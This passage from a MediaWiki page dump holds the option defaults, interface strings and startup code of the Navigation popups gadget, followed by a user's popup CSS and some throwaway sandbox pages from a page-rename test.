function useDefaultOptions() {
// for testing
for (var p in pg.optionDefault) {
pg.option[p] = pg.optionDefault[p];
if (typeof window[p] != 'undefined') {
delete window[p];
}
}
}
/*eslint-enable */
function setOptions() {
// user-settable parameters and defaults
let userIsSysop = false;
if (mw.config.get('wgUserGroups')) {
for (let g = 0; g < mw.config.get('wgUserGroups').length; ++g) {
if (mw.config.get('wgUserGroups')[g] == 'sysop') {
userIsSysop = true;
}
}
}
// Basic options
newOption('popupDelay', 0.5);
newOption('popupHideDelay', 0.5);
newOption('simplePopups', false);
newOption('popupStructure', 'shortmenus'); // see later - default for popupStructure is 'original' if simplePopups is true
newOption('popupActionsMenu', true);
newOption('popupSetupMenu', true);
newOption('popupAdminLinks', userIsSysop);
newOption('popupShortcutKeys', false);
newOption('popupHistoricalLinks', true);
newOption('popupOnlyArticleLinks', true);
newOption('removeTitles', true);
newOption('popupMaxWidth', 350);
newOption('popupSimplifyMainLink', true);
newOption('popupAppendRedirNavLinks', true);
newOption('popupTocLinks', false);
newOption('popupSubpopups', true);
newOption('popupDragHandle', false /* 'popupTopLinks'*/);
newOption('popupLazyPreviews', true);
newOption('popupLazyDownloads', true);
newOption('popupAllDabsStubs', false);
newOption('popupDebugging', false);
newOption('popupActiveNavlinks', true);
newOption('popupModifier', false); // ctrl, shift, alt or meta
newOption('popupModifierAction', 'enable'); // or 'disable'
newOption('popupDraggable', true);
newOption('popupReview', false);
newOption('popupLocale', false);
newOption('popupDateTimeFormatterOptions', {
year: 'numeric',
month: 'long',
day: 'numeric',
hour12: false,
hour: '2-digit',
minute: '2-digit',
second: '2-digit',
});
newOption('popupDateFormatterOptions', {
year: 'numeric',
month: 'long',
day: 'numeric',
});
newOption('popupTimeFormatterOptions', {
hour12: false,
hour: '2-digit',
minute: '2-digit',
second: '2-digit',
});
// images
newOption('popupImages', true);
newOption('imagePopupsForImages', true);
newOption('popupNeverGetThumbs', false);
//newOption('popupImagesToggleSize', true);
newOption('popupThumbAction', 'imagepage'); //'sizetoggle');
newOption('popupImageSize', 60);
newOption('popupImageSizeLarge', 200);
// redirs, dabs, reversion
newOption('popupFixRedirs', false);
newOption('popupRedirAutoClick', 'wpDiff');
newOption('popupFixDabs', false);
newOption('popupDabsAutoClick', 'wpDiff');
newOption('popupRevertSummaryPrompt', false);
newOption('popupMinorReverts', false);
newOption('popupRedlinkRemoval', false);
newOption('popupRedlinkAutoClick', 'wpDiff');
newOption('popupWatchDisambiggedPages', null);
newOption('popupWatchRedirredPages', null);
newOption('popupDabWiktionary', 'last');
// navlinks
newOption('popupNavLinks', true);
newOption('popupNavLinkSeparator', ' ⋅ ');
newOption('popupLastEditLink', true);
newOption('popupEditCounterTool', 'supercount');
newOption('popupEditCounterUrl', '');
// previews etc
newOption('popupPreviews', true);
newOption('popupSummaryData', true);
newOption('popupMaxPreviewSentences', 5);
newOption('popupMaxPreviewCharacters', 600);
newOption('popupLastModified', true);
newOption('popupPreviewKillTemplates', true);
newOption('popupPreviewRawTemplates', true);
newOption('popupPreviewFirstParOnly', true);
newOption('popupPreviewCutHeadings', true);
newOption('popupPreviewButton', false);
newOption('popupPreviewButtonEvent', 'click');
// diffs
newOption('popupPreviewDiffs', true);
newOption('popupDiffMaxLines', 100);
newOption('popupDiffContextLines', 2);
newOption('popupDiffContextCharacters', 40);
newOption('popupDiffDates', true);
newOption('popupDiffDatePrinter', 'toLocaleString'); // no longer in use
// edit summaries. God, these are ugly.
newOption('popupReviewedSummary', popupString('defaultpopupReviewedSummary'));
newOption('popupFixDabsSummary', popupString('defaultpopupFixDabsSummary'));
newOption('popupExtendedRevertSummary', popupString('defaultpopupExtendedRevertSummary'));
newOption('popupRevertSummary', popupString('defaultpopupRevertSummary'));
newOption('popupRevertToPreviousSummary', popupString('defaultpopupRevertToPreviousSummary'));
newOption('popupQueriedRevertSummary', popupString('defaultpopupQueriedRevertSummary'));
newOption(
'popupQueriedRevertToPreviousSummary',
popupString('defaultpopupQueriedRevertToPreviousSummary')
);
newOption('popupFixRedirsSummary', popupString('defaultpopupFixRedirsSummary'));
newOption('popupRedlinkSummary', popupString('defaultpopupRedlinkSummary'));
newOption('popupRmDabLinkSummary', popupString('defaultpopupRmDabLinkSummary'));
// misc
newOption('popupHistoryLimit', 50);
newOption('popupFilters', [
popupFilterStubDetect,
popupFilterDisambigDetect,
popupFilterPageSize,
popupFilterCountLinks,
popupFilterCountImages,
popupFilterCountCategories,
popupFilterLastModified,
popupFilterWikibaseItem,
]);
newOption('extraPopupFilters', []);
newOption('popupOnEditSelection', 'cursor');
newOption('popupPreviewHistory', true);
newOption('popupImageLinks', true);
newOption('popupCategoryMembers', true);
newOption('popupUserInfo', true);
newOption('popupHistoryPreviewLimit', 25);
newOption('popupContribsPreviewLimit', 25);
newOption('popupRevDelUrl', '//en.wikipedia.org/wiki/Wikipedia:Revision_deletion');
newOption('popupShowGender', true);
// new windows
newOption('popupNewWindows', false);
newOption('popupLinksNewWindow', { lastContrib: true, sinceMe: true });
// regexps
newOption(
'popupDabRegexp',
'disambiguation\\}\\}|\\{\\{\\s*(d(ab|isamb(ig(uation)?)?)|(((geo|hn|road?|school|number)dis)|[234][lc][acw]|(road|ship)index))\\s*(\\|[^}]*)?\\}\\}|is a .*disambiguation.*page'
);
newOption('popupAnchorRegexp', 'anchors?'); //how to identify an anchors template
newOption('popupStubRegexp', '(sect)?stub[}][}]|This .*-related article is a .*stub');
newOption(
'popupImageVarsRegexp',
'image|image_(?:file|skyline|name|flag|seal)|cover|badge|logo'
);
}
// ENDFILE: options.js
// STARTFILE: strings.js
//////////////////////////////////////////////////
// Translatable strings
//////////////////////////////////////////////////
//
// See instructions at
// https://en.wikipedia.org/wiki/Wikipedia:Tools/Navigation_popups/Translation
pg.string = {
/////////////////////////////////////
// summary data, searching etc.
/////////////////////////////////////
article: 'article',
category: 'category',
categories: 'categories',
image: 'image',
images: 'images',
stub: 'stub',
'section stub': 'section stub',
'Empty page': 'Empty page',
kB: 'kB',
bytes: 'bytes',
day: 'day',
days: 'days',
hour: 'hour',
hours: 'hours',
minute: 'minute',
minutes: 'minutes',
second: 'second',
seconds: 'seconds',
week: 'week',
weeks: 'weeks',
search: 'search',
SearchHint: 'Find English Wikipedia articles containing %s',
web: 'web',
global: 'global',
globalSearchHint: 'Search across Wikipedias in different languages for %s',
googleSearchHint: 'Google for %s',
/////////////////////////////////////
// article-related actions and info
// (some actions also apply to user pages)
/////////////////////////////////////
actions: 'actions', ///// view articles and view talk
popupsMenu: 'popups',
togglePreviewsHint: 'Toggle preview generation in popups on this page',
'enable previews': 'enable previews',
'disable previews': 'disable previews',
'toggle previews': 'toggle previews',
'show preview': 'show preview',
reset: 'reset',
'more...': 'more...',
disable: 'disable popups',
disablePopupsHint: 'Disable popups on this page. Reload page to re-enable.',
historyfeedHint: 'RSS feed of recent changes to this page',
purgePopupsHint: 'Reset popups, clearing all cached popup data.',
PopupsHint: 'Reset popups, clearing all cached popup data.',
spacebar: 'space',
view: 'view',
'view article': 'view article',
viewHint: 'Go to %s',
talk: 'talk',
'talk page': 'talk page',
'this revision': 'this revision',
'revision %s of %s': 'revision %s of %s',
'Revision %s of %s': 'Revision %s of %s',
'the revision prior to revision %s of %s': 'the revision prior to revision %s of %s',
'Toggle image size': 'Click to toggle image size',
del: 'del', ///// delete, protect, move
delete: 'delete',
deleteHint: 'Delete %s',
undeleteShort: 'un',
UndeleteHint: 'Show the deletion history for %s',
protect: 'protect',
protectHint: 'Restrict editing rights to %s',
unprotectShort: 'un',
unprotectHint: 'Allow %s to be edited by anyone again',
'send thanks': 'send thanks',
ThanksHint: 'Send a thank you notification to this user',
move: 'move',
'move page': 'move page',
MovepageHint: 'Change the title of %s',
edit: 'edit', ///// edit articles and talk
'edit article': 'edit article',
editHint: 'Change the content of %s',
'edit talk': 'edit talk',
new: 'new',
'new topic': 'new topic',
newSectionHint: 'Start a new section on %s',
'null edit': 'null edit',
nullEditHint: 'Submit an edit to %s, making no changes ',
hist: 'hist', ///// history, diffs, editors, related
history: 'history',
historyHint: 'List the changes made to %s',
'History preview failed': 'History preview failed :-(',
last: 'prev', // For labelling the previous revision in history pages; the key is "last" for backwards compatibility
lastEdit: 'lastEdit',
'mark patrolled': 'mark patrolled',
markpatrolledHint: 'Mark this edit as patrolled',
'Could not marked this edit as patrolled': 'Could not marked this edit as patrolled',
'show last edit': 'most recent edit',
'Show the last edit': 'Show the effects of the most recent change',
lastContrib: 'lastContrib',
'last set of edits': 'latest edits',
lastContribHint: 'Show the net effect of changes made by the last editor',
cur: 'cur',
diffCur: 'diffCur',
'Show changes since revision %s': 'Show changes since revision %s',
'%s old': '%s old', // as in 4 weeks old
oldEdit: 'oldEdit',
purge: 'purge',
purgeHint: 'Demand a fresh copy of %s',
raw: 'source',
rawHint: 'Download the source of %s',
render: 'simple',
renderHint: 'Show a plain HTML version of %s',
'Show the edit made to get revision': 'Show the edit made to get revision',
sinceMe: 'sinceMe',
'changes since mine': 'diff my edit',
sinceMeHint: 'Show changes since my last edit',
"Couldn't find an edit by %s\nin the last %s edits to\n%s":
"Couldn't find an edit by %s\nin the last %s edits to\n%s",
eds: 'eds',
editors: 'editors',
editorListHint: 'List the users who have edited %s',
related: 'related',
relatedChanges: 'relatedChanges',
'related changes': 'related changes',
RecentchangeslinkedHint: 'Show changes in articles related to %s',
editOld: 'editOld', ///// edit old version, or revert
rv: 'rv',
revert: 'revert',
revertHint: 'Revert to %s',
defaultpopupReviewedSummary:
'Accepted by reviewing the [[Special:diff/%s/%s|difference]] between this version and previously accepted version using [[:en:Wikipedia:Tools/Navigation_popups|popups]]',
defaultpopupRedlinkSummary:
'Removing link to empty page [[%s]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]',
defaultpopupFixDabsSummary:
'Disambiguate [[%s]] to [[%s]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]',
defaultpopupFixRedirsSummary:
'Redirect bypass from [[%s]] to [[%s]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]',
defaultpopupExtendedRevertSummary:
'Revert to revision dated %s by %s, oldid %s using [[:en:Wikipedia:Tools/Navigation_popups|popups]]',
defaultpopupRevertToPreviousSummary:
'Revert to the revision prior to revision %s using [[:en:Wikipedia:Tools/Navigation_popups|popups]]',
defaultpopupRevertSummary:
'Revert to revision %s using [[:en:Wikipedia:Tools/Navigation_popups|popups]]',
defaultpopupQueriedRevertToPreviousSummary:
'Revert to the revision prior to revision $1 dated $2 by $3 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]',
defaultpopupQueriedRevertSummary:
'Revert to revision $1 dated $2 by $3 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]',
defaultpopupRmDabLinkSummary:
'Remove link to dab page [[%s]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]',
Redirects: 'Redirects', // as in Redirects to ...
' to ': ' to ', // as in Redirects to ...
'Bypass redirect': 'Bypass redirect',
'Fix this redirect': 'Fix this redirect',
disambig: 'disambig', ///// add or remove dab etc.
disambigHint: 'Disambiguate this link to [[%s]]',
'Click to disambiguate this link to:': 'Click to disambiguate this link to:',
'remove this link': 'remove this link',
'remove all links to this page from this article':
'remove all links to this page from this article',
'remove all links to this disambig page from this article':
'remove all links to this disambig page from this article',
mainlink: 'mainlink', ///// links, watch, unwatch
wikiLink: 'wikiLink',
wikiLinks: 'wikiLinks',
'links here': 'links here',
whatLinksHere: 'whatLinksHere',
'what links here': 'what links here',
WhatlinkshereHint: 'List the pages that are hyperlinked to %s',
unwatchShort: 'un',
watchThingy: 'watch', // called watchThingy because {}.watch is a function
watchHint: 'Add %s to my watchlist',
unwatchHint: 'Remove %s from my watchlist',
'Only found one editor: %s made %s edits': 'Only found one editor: %s made %s edits',
'%s seems to be the last editor to the page %s':
'%s seems to be the last editor to the page %s',
rss: 'rss',
/////////////////////////////////////
// diff previews
/////////////////////////////////////
'Diff truncated for performance reasons': 'Diff truncated for performance reasons',
'Old revision': 'Old revision',
'New revision': 'New revision',
'Something went wrong :-(': 'Something went wrong :-(',
'Empty revision, maybe non-existent': 'Empty revision, maybe non-existent',
'Unknown date': 'Unknown date',
/////////////////////////////////////
// other special previews
/////////////////////////////////////
'Empty category': 'Empty category',
'Category members (%s shown)': 'Category members (%s shown)',
'No image links found': 'No image links found',
'File links': 'File links',
'No image found': 'No image found',
'Image from Commons': 'Image from Commons',
'Description page': 'Description page',
'Alt text:': 'Alt text:',
revdel: 'Hidden revision',
/////////////////////////////////////
// user-related actions and info
/////////////////////////////////////
user: 'user', ///// user page, talk, email, space
'user page': 'user page',
'user talk': 'user talk',
'edit user talk': 'edit user talk',
'leave comment': 'leave comment',
email: 'email',
'email user': 'email user',
EmailuserHint: 'Send an email to %s',
space: 'space', // short form for userSpace link
PrefixIndexHint: 'Show pages in the userspace of %s',
count: 'count', ///// contributions, log
'edit counter': 'edit counter',
editCounterLinkHint: 'Count the contributions made by %s',
contribs: 'contribs',
contributions: 'contributions',
deletedContribs: 'deleted contributions',
DeletedcontributionsHint: 'List deleted edits made by %s',
ContributionsHint: 'List the contributions made by %s',
log: 'log',
'user log': 'user log',
userLogHint: "Show %s's user log",
arin: 'ARIN lookup', ///// ARIN lookup, block user or IP
'Look up %s in ARIN whois database': 'Look up %s in the ARIN whois database',
unblockShort: 'un',
block: 'block',
'block user': 'block user',
IpblocklistHint: 'Unblock %s',
BlockipHint: 'Prevent %s from editing',
'block log': 'block log',
blockLogHint: 'Show the block log for %s',
protectLogHint: 'Show the protection log for %s',
pageLogHint: 'Show the page log for %s',
deleteLogHint: 'Show the deletion log for %s',
'Invalid %s %s': 'The option %s is invalid: %s',
'No backlinks found': 'No backlinks found',
' and more': ' and more',
undo: 'undo',
undoHint: 'undo this edit',
'Download preview data': 'Download preview data',
'Invalid or IP user': 'Invalid or IP user',
'Not a registered username': 'Not a registered username',
BLOCKED: 'BLOCKED',
'Has blocks': 'Has blocks',
' edits since: ': ' edits since: ',
'last edit on ': 'last edit on ',
'he/him': 'he/him',
'she/her': 'she/her',
/////////////////////////////////////
// Autoediting
/////////////////////////////////////
'Enter a non-empty edit summary or press cancel to abort':
'Enter a non-empty edit summary or press cancel to abort',
'Failed to get revision information, please edit manually.\n\n':
'Failed to get revision information, please edit manually.\n\n',
'The %s button has been automatically clicked. Please wait for the next page to load.':
'The %s button has been automatically clicked. Please wait for the next page to load.',
'Could not find button %s. Please check the settings in your javascript file.':
'Could not find button %s. Please check the settings in your javascript file.',
/////////////////////////////////////
// Popups setup
/////////////////////////////////////
'Open full-size image': 'Open full-size image',
zxy: 'zxy',
autoedit_version: 'np20140416',
};
function popupString(str) {
if (typeof popupStrings != 'undefined' && popupStrings && popupStrings[str]) {
return popupStrings[str];
}
if (pg.string[str]) {
return pg.string[str];
}
return str;
}
function tprintf(str, subs) {
if (typeof subs != typeof []) {
subs = [subs];
}
return simplePrintf(popupString(str), subs);
}
// ENDFILE: strings.js
// STARTFILE: run.js
////////////////////////////////////////////////////////////////////
// Run things
////////////////////////////////////////////////////////////////////
// For some reason popups requires a fully loaded page jQuery.ready(...) causes problems for some.
// The old addOnloadHook did something similar to the below
if (document.readyState == 'complete') {
autoEdit();
}
//will setup popups
else {
$(window).on('load', autoEdit);
}
// Support for MediaWiki's live preview, VisualEditor's saves and Echo's flyout.
(function () {
let once = true;
function dynamicContentHandler($content) {
// Try to detect the hook fired on initial page load and disregard
// it, we already hook to onload (possibly to different parts of
// page - it's configurable) and running twice might be bad. Ugly…
if ($content.attr('id') == 'mw-content-text') {
if (once) {
once = false;
return;
}
}
function registerHooksForVisibleNavpops() {
for (let i = 0; pg.current.links && i < pg.current.links.length; ++i) {
const navpop = pg.current.links[i].navpopup;
if (!navpop || !navpop.isVisible()) {
continue;
}
Navpopup.tracker.addHook(posCheckerHook(navpop));
}
}
function doIt() {
registerHooksForVisibleNavpops();
$content.each(function () {
this.ranSetupTooltipsAlready = false;
setupTooltips(this);
});
}
setupPopups(doIt);
}
// This hook is also fired after page load.
mw.hook('wikipage.content').add(dynamicContentHandler);
mw.hook('ext.echo.overlay.beforeShowingOverlay').add(($overlay) => {
dynamicContentHandler($overlay.find('.mw-echo-state'));
});
}());
});
// ENDFILE: run.js
r5ya0mtj041lsw9jsch5lrf6azmkiqv
User:Johannes Richter (WMDE)/common.css
2
179239
768367
2026-10-14T11:28:42Z
Johannes Richter (WMDE)
61456
test
768367
css
text/css
.popupMoreLink {
display: block;
text-align: right;
cursor: pointer;
}
ins.popupDiff {
background: #afe;
}
del.popupDiff {
background: #ffe6e6;
}
/* Dark mode fixes */
html.skin-theme-clientpref-night ins.popupDiff {
background: #026c5f;
}
html.skin-theme-clientpref-night del.popupDiff {
background: #89474b;
}
@media (prefers-color-scheme: dark) {
html.skin-theme-clientpref-os ins.popupDiff {
background: #026c5f;
}
html.skin-theme-clientpref-os del.popupDiff {
background: #89474b;
}
}
#selectionPreview {
border: 2px solid var(--border-color-subtle, #c8ccd1);
background-color: var(--background-color-progressive-subtle, #eaf3ff);
padding: 6px;
}
.navpopup {
border: 1px solid var(--border-color-base, #a2a9b1);
background-color: var(--background-color-base, #fff);
color: var(--color-base, #202122);
padding: 10px;
padding-bottom: 5px;
font-size: 11px;
box-shadow: 0 3px 8px rgba( 50, 50, 50, 0.35 );
word-wrap: break-word;
}
.navpopup hr {
color: #aaa !important;
background-color: #aaa !important;
}
/* Configure Drag bar color */
.popupDrag {
background-color: #ffbe20;
height: 5px;
margin-top: -5px;
margin-bottom: 5px;
}
.popupDragHandle {
cursor: move;
position: relative;
}
/* menu magic - many thanks to [[User:Zocky]]! */
/* popups */
.popup_menu {
display: none;
position: absolute;
left: 0;
margin: 0;
margin-top: 1.4em;
line-height: 1.25em;
top: 0;
z-index: 2;
width: 10em;
background: var(--background-color-base, #fff);
border: 1px solid grey;
padding: 0 !important;
margin-left: -6px;
border-width: 1px 1px 1px 6px;
}
.popup_menu li { /* both: popup_menu_row and popup_menu_item */
list-style: none;
margin:0;
padding:0;
}
.popup_menu a {
display: block;
padding: 3px;
}
.popup_menu_row a {
display: inline-block;
}
.popup_menu_row {
color: #aaa;
}
.popup_drop {
display: inline;
position: relative;
}
.popup_drop a,
.popup_drop a:visited {
padding: 3px;
margin: 0;
font-weight: bold;
}
.popup_drop:hover .popup_menu,
.popup_drop .popup_menu:hover {
display: inline;
padding: 2px;
}
.popup_drop:hover {
background: #ccf;
color: #44f;
}
/* other colours, styles and so on */
.popup_menu a:hover {
background: grey;
color: #fff;
text-decoration: none;
}
.popup_mainlink {
font-size: 140%;
font-weight: bold;
}
.popup_mainlink a {
color: var(--color-emphasized, #000);
}
a.popup_change_title_link {
color: #152;
}
/* Dark mode fixes */
html.skin-theme-clientpref-night a.popup_change_title_link {
color: #25b84a;
}
@media (prefers-color-scheme: dark) {
html.skin-theme-clientpref-os a.popup_change_title_link {
color: #25b84a;
}
}
.popup_diff_dates {
font-style: italic;
background: none;
}
.popup_menu_item a {
display: block;
}
.popup_history_row_even {
background: var(--background-color-neutral, #eaecf0);
}
.popup_history_date {
font-weight: bold;
font-size: 120%;
}
/*
Important for history preview when summaries are all empty;
e.g. https://en.wikipedia.org/w/index.php?title=User:GWicke/sw.js
The path is:
.popupPreview > table > tbody > tr:is(.popup_history_row_odd, .popup_history_row_even)
*/
.popupPreview > table,
.popupPreview > table > tbody {
display: block;
}
.popup_history_row_odd,
.popup_history_row_even {
display: flex;
}
.popup_history_row_even td:nth-child(3),
.popup_history_row_odd td:nth-child(3) {
flex: 3;
word-break: break-word;
}
.popup_history_row_even td:nth-child(4),
.popup_history_row_odd td:nth-child(4) {
flex: 7;
word-break: break-word;
}
.popup_history_row_even > td:not(:last-child),
.popup_history_row_odd > td:not(:last-child) {
margin-right: 2px;
}
/* disable interwiki styling */
.popupPreview a.extiw,
.popupPreview a.extiw:active {
color: #36b;
background: none;
padding: 0;
}
.popupPreview .external {
color: #36b;
}
/* this can be used in the content area to switch off
special external link styling */
.popupPreview .plainlinks a {
background: none !important;
padding: 0 !important;
}
/*
Mouse safe zones for popup menu.
*/
/* eye guide suggestion */
.popup_menu:hover {
box-shadow: 0 0 5px 5px rgba(179, 179, 255, 0.3);
}
/* Dark mode fixes */
html.skin-theme-clientpref-night .popup_menu:hover {
box-shadow: 0 0 5px 5px rgba(0, 0, 90, 0.3);
}
@media (prefers-color-scheme: dark) {
html.skin-theme-clientpref-os .popup_menu:hover {
box-shadow: 0 0 5px 5px rgba(0, 0, 90, 0.3);
}
}
/* trapezoid guide for the cursor */
.popup_menu::before {
content: '';
display: block;
position: absolute;
height: 1.5em;
top: -1.4em;
left: -1.2em;
width: calc(2 * var(--navpop-m-len, 6ch));
transform: perspective(1px) rotateX(1deg);
}
/* make the trapezoid go behing menu items */
.popup_menu::before {
z-index: 1;
}
.popup_menu li {
position: relative;
z-index: 2;
}
/* additional hover margin on the sides */
.popup_menu li::before {
content: '';
display: block;
position: absolute;
top: 0;
height: calc(100% + .5em);
left: -1.7em;
width: 1.7em;
}
.popup_menu li::after {
content: '';
display: block;
position: absolute;
top: 0;
height: calc(100% + .5em);
left: calc(10em - 1px); /* depends on the width of the menu */
width: 1em;
}
tj6m2rtk3wrwc2mvhq84u0lokg7ljj7
Wikipedia:Sandbox/MoveIt moved 2026-10-14T11-47-07-509Z
4
179240
768371
2026-10-14T11:47:08Z
Closed Limelike Curves
60396
MoveIt live rename test: creating the page to be renamed
768371
wikitext
text/x-wiki
Throwaway page for the Move It live rename test (2026-10-14T11-47-07-509Z). Safe to delete.
r7ujregyrrp5da7gcr3x90pi7i9hgye
768372
768371
2026-10-14T11:47:10Z
Closed Limelike Curves
60396
Closed Limelike Curves moved page [[Wikipedia:Sandbox/MoveIt move 2026-10-14T11-47-07-509Z]] to [[Wikipedia:Sandbox/MoveIt moved 2026-10-14T11-47-07-509Z]]: Move It live rename test (via Move It browser extension)
768371
wikitext
text/x-wiki
Throwaway page for the Move It live rename test (2026-10-14T11-47-07-509Z). Safe to delete.
r7ujregyrrp5da7gcr3x90pi7i9hgye
768375
768372
2026-10-14T11:47:13Z
Closed Limelike Curves
60396
MoveIt live rename test teardown
768375
wikitext
text/x-wiki
phoiac9h4m842xq45sp7s6u21eteeq1
Wikipedia:Sandbox/MoveIt move 2026-10-14T11-47-07-509Z
4
179241
768373
2026-10-14T11:47:10Z
Closed Limelike Curves
60396
Closed Limelike Curves moved page [[Wikipedia:Sandbox/MoveIt move 2026-10-14T11-47-07-509Z]] to [[Wikipedia:Sandbox/MoveIt moved 2026-10-14T11-47-07-509Z]]: Move It live rename test (via Move It browser extension)
768373
wikitext
text/x-wiki
#REDIRECT [[Wikipedia:Sandbox/MoveIt moved 2026-10-14T11-47-07-509Z]]
{{Redirect category shell|
{{R from move}}
}}
j1byuf8hb163rzb18kteh68mgbaw8ki
768374
768373
2026-10-14T11:47:12Z
Closed Limelike Curves
60396
MoveIt live rename test teardown
768374
wikitext
text/x-wiki
phoiac9h4m842xq45sp7s6u21eteeq1